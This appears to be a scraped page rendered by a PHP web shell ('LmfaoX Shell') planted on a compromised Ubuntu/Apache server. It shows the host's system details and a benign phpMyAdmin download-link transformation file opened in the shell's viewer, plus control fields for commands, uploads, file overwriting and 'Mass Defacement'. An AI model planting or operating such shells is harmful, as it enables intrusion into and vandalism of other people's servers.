ShellBanner
System:Linux MiraNet 3.0.0-14-generic-pae #23-Ubuntu SMP Mon Nov 21 22:07:10 UTC 2011 i686
Software:Apache. PHP/5.3.6-13ubuntu3.10
ID:uid=65534(nobody) gid=65534(nogroup) groups=65534(nogroup)
Safe Mode:OFF
Open_Basedir:OFF
Freespace:23.5 GB of 70.42 GB (33.37%)
MySQL: ON MSSQL: OFF Oracle: OFF PostgreSQL: OFF Curl: OFF Sockets: ON Fetch: OFF Wget: ON Perl: ON
Disabled Functions: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,

/ http/ map/ site/ sql_control/ libraries/ transformations/ - drwxr-sr-x

Directory:
Viewing file:     application_octetstream__download.inc.php (1.41 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
/* vim: set expandtab sw=4 ts=4 sts=4: */
/**
 * @package phpMyAdmin-Transformation
 */

function PMA_transformation_application_octetstream__download_info() {
    return array(
        
'info' =>  __('Displays a link to download the binary data of the column. You can use the first option to specify the filename, or use the second option as the name of a column which contains the filename. If you use the second option, you need to set the first option to the empty string.'),
        );
}

/**
 *
 */
function PMA_transformation_application_octetstream__download(&$buffer$options = array(), $meta '') {
    global 
$row$fields_meta;

    if (isset(
$options[0]) && !empty($options[0])) {
        
$cn $options[0]; // filename
    
} else {
        if (isset(
$options[1]) && !empty($options[1])) {
            foreach(
$fields_meta as $key => $val) {
                if (
$val->name == $options[1]) {
                    
$pos $key;
                    break;
                }
            }
            if (isset(
$pos)) {
                
$cn $row[$pos];
            }
        }
        if (empty(
$cn)) {
            
$cn 'binary_file.dat';
        }
    }

    return
      
sprintf(
        
'<a href="transformation_wrapper.php%s&amp;ct=application/octet-stream&amp;cn=%s" title="%s">%s</a>',

        
$options['wrapper_link'],
        
urlencode($cn),
        
htmlspecialchars($cn),
        
htmlspecialchars($cn)
      );
}

?>
Command:
Quick Commands:
Upload:
[Read-Only] Max size: 100MB
PHP Filesystem: <@ Ú
Search File:
regexp
Create File:
Overwrite [Read-Only]
View File:
Mass Defacement:
[+] Main Directory: [+] Defacement Url:
LmfaoX Shell - Private Build [BETA] - v0.1 -; Generated: 0.3683 seconds